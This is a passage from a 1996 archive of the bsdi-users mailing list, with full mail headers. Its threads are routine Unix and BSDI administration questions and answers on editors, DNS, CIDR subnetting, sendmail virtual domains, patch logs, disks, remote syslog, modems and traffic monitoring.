it working now. Thanks Chris On Fri, 8 Nov 1996, Bill Nestlerode wrote: > Chris McGlasson writes: > >Hello all. I am trying to use a different editor for the config_dialin progra > >m. I am building a unix box for a user who does not know the vi commands. I > >have already edit the config_dialin program for pico, but it still insists upp > >on using the vi editor. > > > >Any ideas on how I can change it to use the pico editor instead of vi. Any in > >fo would be greatly appreciated. Thanks in advance. > > > > > >Chris > > > > For *csh users "setenv EDITOR /usr/contrib/bin/pico" > For *sh users "EDITOR=/usr/contrib/bin/pico; export EDITOR" > > From VM Sat Nov 9 18:01:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["326" "Fri" "8" "November" "1996" "16:40:19" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "13" "Re: What causes this error message?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA17349 for ; Fri, 8 Nov 1996 19:36:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA21683 for bsdi-users-outgoing; Fri, 8 Nov 1996 19:33:09 -0500 (EST) In-Reply-To: <01BBCD94.3D8C9D60@ray> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Raymond Jolin cc: "'bsdi-users@bsdi.com'" Subject: Re: What causes this error message? Date: Fri, 8 Nov 1996 16:40:19 -0800 (PST) On Fri, 8 Nov 1996, Raymond Jolin wrote: > What causes this error message? > Unable to get canonical name of client, err = 0 > > How do I fix it? > Whatever you are doing is trying to find a CNAME entry in the DNS server of whatever host you are referring to. If it's not your host, you can't do much about it. Amy :) From VM Sat Nov 9 18:01:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1156" "Fri" "8" "November" "1996" "19:43:03" "-0400" "Dean Anderson" "dean@av8.com" nil "28" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA17354 for ; Fri, 8 Nov 1996 19:38:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA21727 for bsdi-users-outgoing; Fri, 8 Nov 1996 19:39:51 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: system operator Cc: Mike Pelletier , Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 19:43:03 -0400 At 5:29 PM 11/8/96, system operator wrote: >> Except that machines elsewhere on the internet don't know what your >> netmask is. > >I don't think they have to, as long as your router knows how to get >to the different subnets. Packets from the Internet bound for any >of the subnets will all go to that particular router interface. > >Even for a dual-homed subnet, it's the router's responsibility to >let the Internet (other routers) how to get to that subnet. > >Isn't this why you tell the router about networks and netmasks? Bill was right. CIDR changed all this. Also deprecated in rfc 1812 is all-subnet broadcasts. So, you have to know what the prefix is in order to form the correct broadcast address... --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! See us for | Stop Software Patents before they Networking, Firewalls, WWW and more. | stop you! Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Sat Nov 9 18:01:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["230" "Fri" "8" "November" "1996" "17:03" "PST" "Randy Bush" "randy@psg.com" nil "8" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA18159 for ; Fri, 8 Nov 1996 20:10:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA21854 for bsdi-users-outgoing; Fri, 8 Nov 1996 20:04:05 -0500 (EST) Message-Id: References: Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: dean@av8.com (Dean Anderson) Cc: Mike Pelletier , Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 96 17:03 PST > Except that machines elsewhere on the internet don't know what your > netmask is. As there is no such thing as a netmask on the global internet, this should not be much of a problem. Check out the CIDR RFCs 1517-1520. randy From VM Sat Nov 9 18:01:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1917" "Fri" "8" "November" "1996" "21:20:30" "-0500" "Brian Backer" "bbacker@blink.net" nil "58" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA20613 for ; Fri, 8 Nov 1996 21:38:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA21989 for bsdi-users-outgoing; Fri, 8 Nov 1996 21:27:47 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 21:20:30 -0500 (EST) On Wed, 6 Nov 1996, Chris McGlasson wrote: > I was wondering if it was necessary to configure the sendmail.cf file for > setting up virtual domain email addresses? I am having problems with > getting a domain to receive email from a remote site. > > I have MX files set up in my named DNS files, have added the domain to > the sendmail.cw, and I am able to send mail to the domain with my domain > but when it comes time to receive mail from a different domain, the mail > is rejected. > > Is there something I am leaving OUT? Any info would be greatly appreciated. > Thanks in advance. > > Chris > I add info in this form to setup virtual email. hope this helps [SNIP] Excerps from /etc/sendmail.cf # MX entry (that is is has the lowest preference value in the DNS. Cw blink.net Cw putrman.com [SNIP] ################################################################### ### Ruleset 98 -- local part of ruleset zero (can be null) ### ################################################################### S98 # addresses sent to foo@host.REDIRECT will give a 551 error code R$* < @ $+ .REDIRECT. > $: $1 < @ $2 . REDIRECT . > < ${opMode} > R$* < @ $+ .REDIRECT. > $: $1 < @ $2 . REDIRECT. > R$* < @ $+ .REDIRECT. > < $- > $# error $@ 5.1.1 $: "551 User not local; please try " <$1@$2> ####################################################### # REDIRECTS FOR DOMAIN BLINK.NET # # by: Brian Backer sysop # ####################################################### R$* webmaster < @ $* blink . net . > $ $#local $: @ backer R$* info < @ $* blink . net . > $ $#local $: @ backer R$* sales < @ $* blink . net . > $ $#local $: @ backer R$* techsupport < @ $* blink . net . > $ $#local $: @ backer WHERE webmaster, info, sales, and techsupport are the aliases you can see the domain blink . net . then the actual account to put the mail into. From VM Sat Nov 9 18:01:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1025" "Sat" "9" "November" "1996" "13:14:38" "+1030" "Stavros Patiniotis" "stavros@bang.esc.net.au" nil "31" "Re: adding 2nd hard" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA20626 for ; Fri, 8 Nov 1996 21:45:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA22018 for bsdi-users-outgoing; Fri, 8 Nov 1996 21:45:35 -0500 (EST) In-Reply-To: <328363B2.41C67EA6@digitalthink.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stavros Patiniotis Sender: owner-bsdi-users@lists.gateway.com To: Devon Lazarus cc: Roch Pageau , bsdi-users@BSDI.COM Subject: Re: adding 2nd hard Date: Sat, 9 Nov 1996 13:14:38 +1030 (CST) Hey guys... > the sys admin book was very helpful and i found adding the disk to be a > breeze. one tip: if you add swap space to the second disk you will have > to add this line to your kernel config file: > > config bsd root on sd0a sawp on sd0b and sd1b > ^^^^^^^^ > > note that you need to tell the kernel that it has more swap space and > then recompile. I found that BSDI (v2.1) added the swap space automatically...no kernal mods necessary. I did however create a swap partition. > > otherwise as i said adding a disk was a breeze. agreed. Regards, Stavros Patiniotis ------------------------------------------------------------------------------ -System Administrator / Network Manager Escape.Net - - 465b South Rd - -email: stavros@esc.net.au Keswick SA 5035 - -URL: http://www.esc.net.au Ph 82932526 Fax 82932949- ------------------------------------------------------------------------------ From VM Sat Nov 9 18:01:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["376" "Fri" "8" "November" "1996" "21:08:44" "-0800" "albertd@dej.thinline.com" "albertd@dej.thinline.com" nil "11" "ppp connections messages." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA24410 for ; Sat, 9 Nov 1996 00:06:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA22266 for bsdi-users-outgoing; Fri, 8 Nov 1996 23:57:01 -0500 (EST) Message-Id: <199611090508.VAA17146@dej.thinline.com> X-Sender: albertd@dej.thinline.com (Unverified) X-Mailer: Windows Eudora Version 1.4.4 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: albertd@dej.thinline.com Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ppp connections messages. Date: Fri, 8 Nov 1996 21:08:44 -0800 (PST) Hi All, That might sound stupid, but I used to get 3 lines messages anytime a call would come through for ppp connections. It would tell me who is connecting if the connections established or failed. But now I am not getting these messages and kind of bugging me. these were all on x-windows, what do I need to do to get my messages back. Thanks , Albert. From VM Sat Nov 9 18:02:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["667" "Sat" "9" "November" "1996" "04:28:04" "-0500" "rg1@stingray.icanect.net" "rg1@stingray.icanect.net" nil "13" "2.1 patch errors " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA03689 for ; Sat, 9 Nov 1996 04:33:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA24533 for bsdi-users-outgoing; Sat, 9 Nov 1996 04:28:14 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Rbot Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: 2.1 patch errors Date: Sat, 9 Nov 1996 04:28:04 -0500 (EST) I got all K210 & U210 patches for a box that I got a new drive on, and I started having a problem on K210-019. The log said it was partially installed, and I tried executing it again, and the same thing. So I go on to 220, and in installs ok. 221 gave me errors that said previous patches are not installed, K219 K210 and K220. Does anyone know why this is happening? I did not have this problem on the same box about 4 months ago, could it be from patching out of order? I then went and checked a freinds servers log, and I saw that he got to 219 and it partially installed and 220 was fine. He did not go any further. Anyway, appreciate the help. From VM Sat Nov 9 18:02:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1565" "Sat" "9" "November" "1996" "02:16:06" "-0800" "Steven M. Schultz" "sms@wlv.iipo.gtegsc.com" nil "38" "Re: 2.1 patch errors" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA05031 for ; Sat, 9 Nov 1996 05:26:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id FAA24677 for bsdi-users-outgoing; Sat, 9 Nov 1996 05:20:37 -0500 (EST) Message-Id: <199611091016.CAA04681@wlv.iipo.gtegsc.com> Precedence: bulk From: "Steven M. Schultz" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, rg1@stingray.icanect.net Subject: Re: 2.1 patch errors Date: Sat, 9 Nov 1996 02:16:06 -0800 (PST) > From: Rbot > > I got all K210 & U210 patches for a box that I got a new drive on, and I > started having a problem on K210-019. The log said it was partially > installed, and I tried executing it again, and the same thing. So I go Say no more - been there, seen that, worked around it. > Does anyone know why this is happening? I did not have this problem on > ... If you are seeing the same problem I had it then it's a simple fix - 'vi' /sys/PATCHLOG and remove the 'partially-' string. Sometimes BSDI issues a patch and the RCS id doesn't quite match. In the case of the sendmail upgrade there a text file or two (README or somthing along that line - i.e not "code") that failed to apply on my system. The key to applying the patches is: Watch *very carefully* the output. If you see _any_ failed "hunks" then do NOT proceed on! The scripts treat "partially-installed" when checking prerequisites as "not installed" condition. Essentially "partially-installed" (often due to RCS Id$ goofs) amount to "failed" and should be treated as such. Look at the output from the patch session - if the problem is only a "README" (or similar file) then ignore it and "vi" the patchlog file and remove the "partially-" prefix. *THEN* apply the next patch. I hate to shout but ONLY VI the PATCHLOG IF YOU'RE CERTAIN the 'hunk' that failed is harmless! Things like date strings, etc not being the same can (and do) cause a patch to "partially install". Steven M. Schultz sms@wlv.iipo.gtegsc.com From VM Sat Nov 9 18:02:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["835" "Sat" "9" "November" "1996" "09:55:46" "-0500" "Ralph Saunders" "ralph@falcon.keystone.com" nil "21" "Re: subnetting class c address " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA12345 for ; Sat, 9 Nov 1996 10:08:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA24900 for bsdi-users-outgoing; Sat, 9 Nov 1996 09:57:13 -0500 (EST) Message-Id: <199611091455.JAA02509@falcon.keystone.com> In-reply-to: Your message of "Fri, 08 Nov 1996 14:03:11 PST." <9611081403.ZM2905@oz.cyborganic.com> Precedence: bulk From: Ralph Saunders Sender: owner-bsdi-users@lists.gateway.com To: "Jon Drukman" cc: bsdi-users@BSDI.COM, ralph@falcon.keystone.com Subject: Re: subnetting class c address Date: Sat, 09 Nov 1996 09:55:46 -0500 > > [ ... ] > > i thought that that was why they invented CIDR in the first place! > The purpose of CIDR was and is to reduce the size of the global routing tables. Without it the Internet would have fallen to its knees long ago and would still be there. ralph ============================================================================== |> <| |> Ralph Saunders Internet: ralph@keystone.com <| |> Keystone Software, Inc. <| |> Springfield, VA <| |> <| ============================================================================== From VM Sat Nov 9 18:02:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["818" "Sat" "9" "November" "1996" "15:07:03" "+0000" "Neil J. McRae" "neil@domino.org" nil "32" "Re: External Logging " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA12355 for ; Sat, 9 Nov 1996 10:11:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA24932 for bsdi-users-outgoing; Sat, 9 Nov 1996 10:11:58 -0500 (EST) Message-Id: <199611091507.PAA11325@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Fri, 08 Nov 1996 13:31:45 PST." <9611081331.ZM2875@oz.cyborganic.com> Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: "Jon Drukman" cc: Sam Brown , bsdi-users@BSDI.COM, neil@domino.org Subject: Re: External Logging Date: Sat, 09 Nov 1996 15:07:03 +0000 On Fri, 8 Nov 1996 13:31:45 -0800 "Jon Drukman" wrote: Not sure thats what he means. Look at the logdaemon package. Neil > On Nov 8, 2:35pm, Sam Brown wrote: > > Subject: External Logging > > > > Is there such a facility for syslog/wtmp/utmp external logging available > > or built in to bsdi 2.1? > > you can specify a hostname in the destination field of syslog.conf. eg: > > *.* @logginghost.domain.net > > would send ALL syslog messages to logginghost.domain.net. > > -- > Jon Drukman / jsd@cyborganic.com -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Sat Nov 9 18:02:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["543" "Sat" "9" "November" "1996" "10:14:46" "-0800" "John J. Sawa" "jsupport@deltanet.com" nil "20" "wd1:format error" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA17515 for ; Sat, 9 Nov 1996 13:27:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA25170 for bsdi-users-outgoing; Sat, 9 Nov 1996 13:10:56 -0500 (EST) Message-Id: <3.0.32.19961109101336.00683ca8@mail.deltanet.com> X-Sender: jsupport@mail.deltanet.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "John J. Sawa" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: wd1:format error Date: Sat, 09 Nov 1996 10:14:46 -0800 Every time I try to add a second 1.2 gig IDE, I get the following error: wd1:format error in bad sector file I have run disksetup -i wd1 I am not sharing the OS with any other operating system, I would like to give as much space as possible for the file system. I tell disksetup to use 1200 megs, set the mount point at wd1h /drive1. I also start with a clean table. Then I run newfs wd1h I get an error in a sector file at the end of the disk Every time. Should I be using some special parameters with newfs on wd drives? -John Sawa From VM Sat Nov 9 18:02:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2137" "Sat" "9" "November" "1996" "15:14:40" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "48" "Re: Modem config - USR " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA20740 for ; Sat, 9 Nov 1996 15:23:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA25346 for bsdi-users-outgoing; Sat, 9 Nov 1996 15:15:21 -0500 (EST) Message-Id: <199611092014.PAA01986@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 08 Nov 1996 12:25:59 PST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: Roch Pageau , bsdi-users@BSDI.COM Subject: Re: Modem config - USR Date: Sat, 09 Nov 1996 15:14:40 -0500 I used to read comp.dcom.modems, and the concensus was by far that the US Robotics Courier was excellent and trouble free (I've been using them as both a client and setting up an ISP like service for IBM Research in the late 1980s with William Moran Jr.) We used an IBM RT with 4.3 BSD and Dickens Data Systems 8 port intelligent boards with each port at 38,400 at the time there were 9600-14400 baud. However, I have read of many problems with the sportster. Obviously the Courier is more expensive (about twice a bare sportster at the highest speed rate of the time). The Courier also has flashrom, so instead of having to buy chips and stuff for most upgrades (like 33,600 was available for free last May ('95) for free. Caller-ID was another free flashrom upgrade. US Robotics also is coming up with X2 technology which I think will be flashrom upgradeable for about $10 but I'm not sure of this. This lets you download at 56Kbaud and connect it to the computer at 230Kbaud but 100-150 kbaud is probably the more realistic compression for text and other compressable stuff like over x2.usr.com or through www.usr.com. The sportsters have some features like an answering machine, and other versions. I've heard that once things get fixed, sportsters work OK. I find that USR Couriers are much better than Hayes. There are many more features and, by the way, both the Sporters and the Courier are Hayes commpatable, except the Sportster ISDN. Jacob --- In message you write: >On Fri, 8 Nov 1996, Roch Pageau wrote: > >> I would like to test a US RObotics sportster 33.6k on our system. We are >> using 2.1 and a 16em digiboard. Would any have a setup string that would >> allow this type of modem to receive calls from just about any >> other.(incomming only) >> >I have had some problems getting those puppies to work but here's what i >ended up using: > >at&m0&r2&h1&c1s0=1 >then at&w to save > >It seems most modems, except USR's, have problems connecting to these, >and we recommend to our customers a Hayes compatible modem. > >Amy :) From VM Sat Nov 9 18:02:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["60" "Sat" "9" "November" "1996" "14:50:03" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "4" "Need BSDI in Wenatchee Wa" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA22906 for ; Sat, 9 Nov 1996 16:51:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA25431 for bsdi-users-outgoing; Sat, 9 Nov 1996 16:42:40 -0500 (EST) Message-Id: <199611092150.OAA26617@doctor.nl2k.edmonton.ab.ca> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Need BSDI in Wenatchee Wa Date: Sat, 9 Nov 1996 14:50:03 -0700 (MST) Opportunity!! ISP runnin HP-UX Os failing!! BSDI needed! From VM Sat Nov 9 22:14:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["444" "Sat" "9" "November" "1996" "19:46:40" "-0500" "Matthew R. Sheahan" "chaos@crystal.palace.net" nil "11" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA27854 for ; Sat, 9 Nov 1996 19:54:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA25929 for bsdi-users-outgoing; Sat, 9 Nov 1996 19:47:05 -0500 (EST) Message-Id: <199611100046.TAA16700@crystal.palace.net> In-Reply-To: from "Mike Pistone" at Nov 7, 96 10:38:21 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: "Matthew R. Sheahan" Sender: owner-bsdi-users@lists.gateway.com To: pistone@eurekanet.com (Mike Pistone) Cc: rossw@albury.net.au, bsdi-users@BSDI.COM Subject: Re: Tracking Usage Date: Sat, 9 Nov 1996 19:46:40 -0500 (EST) > I use a program called "trafshow". It takes the tcpdump info and gives > you some good info, such as avg cps, bytes send, local address, remote > address, basicly it shows all traffic. It works for me. Lovely piece of software, though the -r option doesn't seem to work. Got any hints as to what the interactive commands are? The man page doesn't mention them. | Matthew R. Sheahan | | Crystal Palace Networking | From VM Sat Nov 9 22:14:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["750" "Sat" "9" "November" "1996" "20:15:41" "-0500" "Mike Pistone" "pistone@eurekanet.com" nil "28" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA28954 for ; Sat, 9 Nov 1996 20:36:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA25975 for bsdi-users-outgoing; Sat, 9 Nov 1996 20:31:24 -0500 (EST) In-Reply-To: <199611100046.TAA16700@crystal.palace.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pistone Sender: owner-bsdi-users@lists.gateway.com To: "Matthew R. Sheahan" cc: rossw@albury.net.au, bsdi-users@BSDI.COM Subject: Re: Tracking Usage Date: Sat, 9 Nov 1996 20:15:41 -0500 (EST) -r doesn't work on mine either (bug I assume) I think the interactive commands are the expressions you can pass examples: tcmdump host ppp1.mynet.com displays traffic to and from ppp1 tcpdump nntp host ppp2.mynet.com nntp traffic to and from ppp1 Do a "man tcpdump" to see how to use expressions. Any tcpdump expression will work with trafshow. All trafshow is is an interface for tcpdump. Mike Pistone Systems Administrator Eureka Networks On Sat, 9 Nov 1996, Matthew R. Sheahan wrote: > Lovely piece of software, though the -r option doesn't seem to work. Got > any hints as to what the interactive commands are? The man page doesn't > mention them. > > | Matthew R. Sheahan | > | Crystal Palace Networking | > From VM Sat Nov 9 22:15:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["565" "Sat" "9" "November" "1996" "21:32:29" "-0600" "Reynold Mark" "remark@producer.com" nil "12" "Question for the BSD gurus" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA00730 for ; Sat, 9 Nov 1996 21:46:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA26066 for bsdi-users-outgoing; Sat, 9 Nov 1996 21:38:54 -0500 (EST) X-Sender: remark@wp1.producer.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Reynold Mark Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Question for the BSD gurus Date: Sat, 9 Nov 1996 21:32:29 -0600 (CST) Hi all. We have been running BSD for about a year and a half now and I am slowing trying to learn AIX. Although there are a lot of similarities, there are also a lot of differences. In AIX (and maybe other flavours of Unix?), the device drivers living in the /dev directory have a couple of numbers associated to each filename (major and minor numbers). Ok, I can handle that. However, in the BSD 2.1 that we have, there are 3 numbers associated with it. I don't understand what this 3rd number means. Can anyone shed some light on this subject. Thanks. From VM Sun Nov 10 15:05:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["310" "Sat" "9" "November" "1996" "21:18:56" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "14" "Re: Need BSDI in Wenatchee Wa" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA03120 for ; Sat, 9 Nov 1996 23:18:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA26139 for bsdi-users-outgoing; Sat, 9 Nov 1996 23:11:21 -0500 (EST) Message-Id: <199611100418.VAA06153@doctor.nl2k.edmonton.ab.ca> In-Reply-To: <199611092339.SAA15646@crystal.palace.net> from "Matthew R. Sheahan" at Nov 9, 96 06:39:50 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: chaos@crystal.palace.net (Matthew R. Sheahan) Cc: bsdi-users@BSDI.COM Subject: Re: Need BSDI in Wenatchee Wa Date: Sat, 9 Nov 1996 21:18:56 -0700 (MST) > > > Opportunity!! ISP runnin HP-UX Os failing!! > > > > BSDI needed! > > As in, you need a copy, or you need administrative consulting? I can help > out with the latter. > > | Matthew R. Sheahan | > | Crystal Palace Networking | > As In a BSDI box is needed for a Wenatchee ISP!! From VM Sun Nov 10 15:05:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["976" "Sat" "9" "November" "1996" "20:10:39" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "28" "Re: wd1:format error" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA03125 for ; Sat, 9 Nov 1996 23:18:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA26150 for bsdi-users-outgoing; Sat, 9 Nov 1996 23:16:23 -0500 (EST) Message-Id: <199611100410.UAA05479@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, jsupport@deltanet.com Subject: Re: wd1:format error Date: Sat, 9 Nov 1996 20:10:39 -0800 (PST) > > Every time I try to add a second 1.2 gig IDE, I get the following error: > > wd1:format error in bad sector file > > I have run disksetup -i wd1 > > I am not sharing the OS with any other operating system, I would like to > give as much space as possible for the file system. I tell disksetup to use > 1200 megs, set the mount point at wd1h /drive1. I also start with a clean > table. > > Then I run newfs wd1h > > I get an error in a sector file at the end of the disk Every time. Should I > be using some special parameters with newfs on wd drives? > You need to run diskdefect on the drive to install a defect table (used to replace bad blocks). It won't do much for an IDE drive, which is usually "perfect", but it will get rid of the messages every time the drive is opened. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Sun Nov 10 15:05:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1646" "Sat" "9" "November" "1996" "20:29:51" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "36" "Re: Question for the BSD gurus" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA03664 for ; Sat, 9 Nov 1996 23:35:52 -0500 